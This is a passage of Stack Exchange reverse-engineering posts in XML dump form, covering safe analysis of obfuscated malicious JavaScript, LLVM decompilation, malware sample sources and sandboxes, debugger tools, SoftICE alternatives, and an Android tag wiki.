  <row Id="1435" PostTypeId="4" CreationDate="2013-03-31T20:02:55.840" Score="0" Body="LLVM is a compiler infrastructure, consisting of a collection of reusable, extendable compiler technologies." OwnerUserId="1328" LastEditorUserId="1328" LastEditDate="2013-03-31T20:36:09.230" LastActivityDate="2013-03-31T20:36:09.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1436" PostTypeId="1" CreationDate="2013-04-01T03:27:20.483" Score="76" ViewCount="85582" Body="&lt;p&gt;I was recently analyzing a web page that contained some highly obfuscated JavaScript - it's clear that the author had went through quite a bit of effort to make it as hard to understand as possible. I've seen several variations on this code - there are enough similarities that it's clear that they have the same source, but different enough that the solution to deobfuscate changes each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with running the URL through &lt;a href=&quot;https://www.virustotal.com/en/&quot;&gt;VirusTotal&lt;/a&gt;, which scored 0/46 - so it was something of interest and not being detected by Anti-Virus software (at least statically). Next I tried running it through &lt;a href=&quot;http://jsunpack.jeek.org/?&quot;&gt;jsunpack&lt;/a&gt; to see if it could make any sense of it - no luck, it broke the parser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the code, there were a few methods that were designed to be confusing, and then several KB of strings like this that would eventually be decoded as javascript and executed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22=&quot;;4kqkk;255ie;35bnh;4mehn;2lh3b;7i29n;6m2jb;7jhln;562ik...&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After digging around for a few minutes I was able to determine that the bit of code I really carded about was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try{document.body--}catch(dgsdg){e(a);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;e&lt;/code&gt; had been aliased to &lt;code&gt;eval&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; was a string that had been manipulated by the various functions at the beginning of the file (and passed around via a series of misleading assignments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quickly get the value of &lt;code&gt;a&lt;/code&gt; I modified the code to Base64 encode it and output the value, and then opened the HTML file in Chrome on a VM (disconnected from the network):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;document.write(window.btoa(a))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was able to get me the value I was looking for, but the process took too long - and if I had missed another &lt;code&gt;eval&lt;/code&gt; it's possible that I could have executed what was clearly malicious code. So I was able to get what I needed and identify the malware that it was trying to drop - but the process was too slow and risky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there better ways to run javascript like this in a secure sandbox to minimize the risks that go with executing it? I don't see any way a tool could be built to generically deobfuscate this kind of code, so I don't see any way around running it (or building one-off tools, which is also time consuming).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interesting in hearing about other tools and techniques for dealing with this kind of code.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2020-08-17T06:36:31.453" Title="Analyzing highly obfuscated JavaScript" Tags="|malware|javascript|deobfuscation|sandbox|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1438" PostTypeId="2" ParentId="1436" CreationDate="2013-04-01T04:26:24.320" Score="11" Body="&lt;p&gt;Your best bet is to use an environment (eg FireFox) in which &lt;code&gt;eval()&lt;/code&gt; can be overridden by using a proxy function, and the function just prints the output.  That way, there is no risk in missing anything, even if the malware aliases it.  Unfortunately, &lt;code&gt;eval()&lt;/code&gt; is not designed to be overridden (and I believe is explicitly forbidden by recent ECMAScript spec), but at worst it will fail to run.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="245" LastEditDate="2013-05-24T18:32:30.117" LastActivityDate="2013-05-24T18:32:30.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1439" PostTypeId="2" ParentId="1428" CreationDate="2013-04-01T06:46:29.837" Score="17" Body="&lt;p&gt;It's extremely easy to decompile. LLVM for a long time shipped with a CBackend that would convert LLVM into C. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The LLVM that is created by todays frontends (clang) is very amenable to any kind of analysis and understanding that you can think of. So you can probably just use normal LLVM tools (opt, llc) to &quot;decompile&quot; the IR. I find LLVM IR quite readable on its own, but I'm strange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, just like compilation of C to assembler, some information is lost or destroyed. Structure field names are gone, forever replaced with indexes. Their types remain though. Control flow, as a concept, remains, there is no confusion of code and data, but functions can be removed because they are dead or inlined. I believe enum values are removed as well. Parameter information to function remains, as do the types of global variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There actually is a decent &lt;a href=&quot;http://lists.cs.uiuc.edu/pipermail/llvmdev/2011-October/043719.html&quot;&gt;post&lt;/a&gt; where an LLVM contributor outlines pitfalls and problems with using their bitcode format in the manner that you suggest. Many people seem to have listened to him, so I'm not sure if we'll ever need to move beyond the tools we currently have for understanding LLVM bitcode...&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-04-01T06:46:29.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1440" PostTypeId="1" AcceptedAnswerId="1473" CreationDate="2013-04-01T13:14:19.190" Score="10" ViewCount="1125" Body="&lt;p&gt;I have found a multilayer PCB of which I need to draw the circuit. At first, I tried to find the circuit on the internet using part numbers, but I did not get any result. The PCB is from a very old alarm installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools or techniques I can use to get to know the structure of the layers I can't see?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2013-04-02T07:40:34.800" Title="Draw circuit of a multilayer PCB" Tags="|tools|pcb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1441" PostTypeId="2" ParentId="1436" CreationDate="2013-04-01T14:15:16.313" Score="9" Body="&lt;p&gt;Well, after online tools, You may use Revelo by KahuSecurity&#xA;&lt;a href=&quot;http://www.kahusecurity.com/tools/Revelo_v0.5.1.zip&quot;&gt;http://www.kahusecurity.com/tools/Revelo_v0.5.1.zip&lt;/a&gt;&#xA;It's have less automation in process, but more powerful in de-obfuscation of customized js. &#xA;Documentation is included in ZIP, you also may see examples of it's usage in Kahu blog as well:&#xA;&lt;a href=&quot;http://www.kahusecurity.com/&quot;&gt;http://www.kahusecurity.com/&lt;/a&gt;&#xA;p.s. don't forget to use VM! &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-01T14:15:16.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1442" PostTypeId="2" ParentId="206" CreationDate="2013-04-01T14:28:10.860" Score="25" Body="&lt;p&gt;You may start to look from your junk email folder and antivirus quarantine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need something in particular, you may try to grab them live, from URLs posted by other researchers, and after you find something you want to share, add there too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list I created once for my readers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.malwaredomainlist.com/update.php&quot;&gt;Malware Domain List&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://urlquery.net/&quot;&gt;URL Query&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www3.malekal.com/malwares/&quot;&gt;Malekal.com list of malware&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://vxvault.siri-urz.net/ViriList.php?&quot;&gt;VX Vault&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://siteinspector.comodo.com/recent_detections&quot;&gt;Site Inspector (by Comodo)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.scumware.org/index.scumware&quot;&gt;Scumware.org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://malc0de.com/database/&quot;&gt;Malc0de Database&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://labs.sucuri.net/?malware&quot;&gt;Sucuri Malware Labs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://support.clean-mx.de/clean-mx/viruses&quot;&gt;Clean-MX Realtime database&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://labs.snort.org/iplists/&quot;&gt;Sourcefire Vulnerability Research Team Labs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://zeustracker.abuse.ch/monitor.php?browse=binaries&quot;&gt;Zeus Tracker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://minotauranalysis.com/malwarelist-urls.aspx&quot;&gt;NovCon Minotaur Analysis System&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Credit goes to:&lt;/strong&gt; &lt;a href=&quot;http://ondailybasis.com/blog/?p=1188&quot;&gt;http://ondailybasis.com/blog/?p=1188&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="116" LastEditDate="2013-04-02T10:58:06.923" LastActivityDate="2013-04-02T10:58:06.923" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostTypeId="2" ParentId="23" CreationDate="2013-04-01T14:37:28.840" Score="8" Body="&lt;p&gt;Literally, for a first look on malware, you won't need anything special locally installed.&#xA;There are enough online sandboxes you may use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/&quot; rel=&quot;noreferrer&quot;&gt;virustotal.com&lt;/a&gt; have their sandbox implemented using &lt;a href=&quot;http://www.cuckoosandbox.org/&quot; rel=&quot;noreferrer&quot;&gt;Cuckoo Sandbox&lt;/a&gt;. When you apply new sample, it automatically executed as part of analysis. After about 10-15 mins you can see the result in &quot;Behavioural information&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://anubis.iseclab.org/&quot; rel=&quot;noreferrer&quot;&gt;anubis.iseclab.org&lt;/a&gt; is another place you may submit binary to see it behavior before executing it locally. Here you got report and pcap file of network activity, if any.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a result - you may get basic idea of what a binary does and how to analyse it.&#xA;But - please note, that sophisticated malware checks its environment for sandbox traces and VM presence. So there is a chance that the seemingly &quot;harmless binary&quot; turns out to be sophisticated malware under real conditions.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="245" LastEditDate="2013-04-07T15:33:26.567" LastActivityDate="2013-04-07T15:33:26.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1444" PostTypeId="2" ParentId="1392" CreationDate="2013-04-01T14:42:21.080" Score="14" Body="&lt;p&gt;Not GUI but a good replacement once you get used to it (and personally I think it's faster for most stuff) -&gt; &lt;a href=&quot;https://github.com/gdbinit/Gdbinit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gdbinit/Gdbinit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remembered when I started *nix reversing and I had to face gdb for the first time. Hated it and +mammon original's gdbinit saved my day. These days I prefer gdb to most GUI debuggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I am the author of the tool.&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="245" LastEditDate="2020-01-24T10:01:43.563" LastActivityDate="2020-01-24T10:01:43.563" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="1445" PostTypeId="1" AcceptedAnswerId="1450" CreationDate="2013-04-01T17:53:15.223" Score="32" ViewCount="56854" Body="&lt;p&gt;I have seen mentions of SoftICE on various questions throughout this site. However, the &lt;a href=&quot;http://en.wikipedia.org/wiki/SoftICE&quot;&gt;Wikipedia article&lt;/a&gt; on SoftICE implies that the tool is abandoned.  Searching google, I see many links claiming to be downloads for SoftICE, but they seem to have questionable origins and intent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an official website where I can purchase and download SoftICE, or an official MD5 of a known SoftICE installer?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="1328" LastEditDate="2013-04-02T14:06:21.260" LastActivityDate="2020-05-31T20:06:10.803" Title="How do I acquire SoftICE?" Tags="|tools|debuggers|softice|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostTypeId="2" ParentId="1445" CreationDate="2013-04-01T18:04:41.373" Score="8" Body="&lt;p&gt;As far as I know, it's not for sale anymore - at all - and used to work until XP only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(if I'm wrong, I feel like I'd buy it instantly, knowing how useful it was)&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-01T18:04:41.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1447" PostTypeId="2" ParentId="1445" CreationDate="2013-04-01T18:12:54.053" Score="10" Body="&lt;p&gt;Chances are that you are looking into old documents and training material if you are looking into SoftICE. There is no legal way of acquiring the software since it was discontinued at 2006.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last version of SoftICE was included in Compuware's DriverStudio.&lt;/p&gt;&#xA;" OwnerUserId="1344" LastActivityDate="2013-04-01T18:12:54.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostTypeId="2" ParentId="1393" CreationDate="2013-04-01T18:41:10.973" Score="3" Body="&lt;p&gt;There is possible padding, try adding the -nopad option, assuming that you are using the same compression method. &lt;/p&gt;&#xA;" OwnerUserId="1344" LastActivityDate="2013-04-01T18:41:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostTypeId="2" ParentId="1445" CreationDate="2013-04-01T19:58:37.893" Score="34" Body="&lt;p&gt;SoftICE is pretty much dead. If you're looking for the same look and feel you can always check out &lt;a href=&quot;http://www.sysersoft.com/&quot;&gt;Syser&lt;/a&gt; or &lt;a href=&quot;http://bugchecker.com/&quot;&gt;BugChecker&lt;/a&gt;. Haven't used them myself as I think most kernel level debugging now a days is done through remote debugging either via a VM or another machine on the network. The same type of person who would use SoftIce would probably use &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx&quot;&gt;WinDbg&lt;/a&gt; today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syser:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Syser Kernel Debugger&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;is designed for Windows NT Family based on X86 platform. It is a kernel debugger with full-&gt;graphical interfaces and supports assembly debugging and source code debugging.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Softice is left. Syser will continue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BugChecker:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At this time, I'm searching for contributors in order to make BugChecker a valid, useful, free and open alternative to SoftICE and other commercial debuggers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-04-01T20:08:35.707" LastActivityDate="2013-04-01T20:08:35.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1451" PostTypeId="5" CreationDate="2013-04-01T20:12:01.380" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.android.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android&lt;/a&gt;&lt;/strong&gt; is Google's software stack for mobile devices, developed by &lt;a href=&quot;https://www.google.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google&lt;/a&gt; and the &lt;a href=&quot;http://www.openhandsetalliance.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Open Handset Alliance&lt;/a&gt;. For non-reverse engineering questions, see the &lt;a href=&quot;https://android.stackexchange.com&quot;&gt;Android Enthusiasts Stack Exchange site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Android_(operating_system)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt; is a Linux-based operating system designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices. The first Android-powered phone was sold in October 2008.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Android is open source and Google releases the code under the Apache License. This open source code and permissive licensing allows the software to be freely modified and distributed by device manufacturers, wireless carriers and enthusiast developers. Additionally, Android has a large community of developers writing applications (&quot;apps&quot;) that extend the functionality of devices, written primarily in a customized version of the Java programming language. In October 2012, there were approximately 700,000 apps available for Android, and the estimated number of applications downloaded from Google Play, Android's primary app store, was 25 billion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Android Versions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_1.0_Astro&quot; rel=&quot;nofollow noreferrer&quot;&gt;1.0 Astro&lt;/a&gt; (specified as BASE by Google)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_1.1_Bender&quot; rel=&quot;nofollow noreferrer&quot;&gt;1.1 Bender&lt;/a&gt; (specified as BASE_1_1 by Google)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_1.5_Cupcake&quot; rel=&quot;nofollow noreferrer&quot;&gt;1.5 Cupcake&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_1.6_Donut&quot; rel=&quot;nofollow noreferrer&quot;&gt;1.6 Donut&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_2.0.2F2.1_Eclair&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.0/2.1 Eclair&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_2.2.x_Froyo&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.2 Froyo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_2.3.x_Gingerbread&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.3 Gingerbread&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_3.x_Honeycomb&quot; rel=&quot;nofollow noreferrer&quot;&gt;3.0/3.1/3.2 Honeycomb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_version_history#Android_4.0.x_Ice_Cream_Sandwich&quot; rel=&quot;nofollow noreferrer&quot;&gt;4.0 Ice Cream Sandwich&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Jelly_Bean_%28operating_system%29#Android_4.1_Jelly_Bean_.28API_level_16.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;4.1&lt;/a&gt;/&lt;a href=&quot;https://en.wikipedia.org/wiki/Jelly_Bean_%28operating_system%29#Android_4.2_Jelly_Bean_.28API_level_17.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;4.2 Jelly Bean&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Official API Documentation&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-2.3.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 2.3.3 Gingerbread&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-2.3.4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 2.3.4 Gingerbread&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-3.0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 3.0   Honeycomb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-3.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 3.1   Honeycomb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-3.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 3.2   Honeycomb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-4.0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 4.0   Ice Cream Sandwich&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-4.0.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 4.0.3 Ice Cream Sandwich&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-4.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 4.1   Jelly Bean&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.android.com/about/versions/android-4.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android 4.2   Jelly Bean&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Applications&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://play.google.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Play&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Source code and Building&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://source.android.com/source/downloading.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source Code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source Mirrors&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://source.android.com/source/building.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building and Running&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://source.android.com/source/building-devices.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building for devices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://source.android.com/source/building-kernels.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building kernel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Developers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://developer.android.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Developers&lt;/a&gt;&lt;br&gt;&#xA;Contains the &lt;a href=&quot;http://developer.android.com/sdk/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;SDK downloads&lt;/a&gt;, documentation, &lt;a href=&quot;http://developer.android.com/reference/packages.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;class reference&lt;/a&gt; and &lt;a href=&quot;http://developer.android.com/guide/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials&lt;/a&gt;. Start here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://android-developers.blogspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Developers Blog&lt;/a&gt;&lt;br&gt;&#xA;Google's blog for Android developers, discussing technical topics as well as those relating to &lt;a href=&quot;https://play.google.com/store&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Play (formerly Android Market)&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://officialandroid.blogspot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Official Android Blog&lt;/a&gt;&lt;br&gt;&#xA;News and notes from the Android team&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://plus.google.com/108967384991768947849/posts&quot; rel=&quot;nofollow noreferrer&quot;&gt;+Android Developers on Google+&lt;/a&gt;&lt;br&gt;&#xA;News and announcements for developers from the Android team at Google. Also a venue for discussion of recent news and announcements.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://developer.android.com/design/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Design Guidelines&lt;/a&gt;&lt;br&gt;&#xA;A collection of UI guidelines for Android. Mainly focused on design patterns and navigation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://twitter.com/AndroidDev&quot; rel=&quot;nofollow noreferrer&quot;&gt;@AndroidDev on Twitter&lt;/a&gt;&lt;br&gt;&#xA;News and announcements for developers from the Android team at Google.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://groups.google.com/group/android-developers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Developers Google Group&lt;/a&gt;&lt;br&gt;&#xA;Alternative developer discussion forum for Android.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://source.android.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Open Source Project&lt;/a&gt; (also known as AOSP)&lt;br&gt;&#xA;Contains all necessary information about the Android source code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Android_(operating_system)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android page on Wikipedia&lt;/a&gt;&lt;br&gt;&#xA;Detailed information about the Android OS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.android.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android.com&lt;/a&gt;&lt;br&gt;&#xA;General information about the Android OS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.google.com/events/io/2010/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google I/O 2010 developer conference&lt;/a&gt;&lt;br&gt;&#xA;Contains detailed videos and slides by Android product engineers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.google.com/events/io/2011/index-live.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google I/O 2011 developer conference&lt;/a&gt;&lt;br&gt;&#xA;Contains videos and slides by Android product engineers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/events/io/2012&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google I/O 2012 developer conference&lt;/a&gt;&lt;br&gt;&#xA;Contains videos and slides by Android product engineers. (June 27-29 2012)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;[Google I/O 2013 developer conference][77]&lt;br&gt;&#xA;Site that will contain videos and slides by Android product engineers. Full conference can be watch on a live stream here. (May 15-17 2013)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/android/add-ons/google-apis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Maps API&lt;/a&gt;&lt;br&gt;&#xA;The Google Maps API port for Android, which provides a lot of information on how to use the Maps API on Android (which can not be found on the Android Developer site)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/androiddevelopers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Developer Channel @ Youtube&lt;/a&gt;&lt;br&gt;&#xA;Android Developer Channel. This is the home for videos 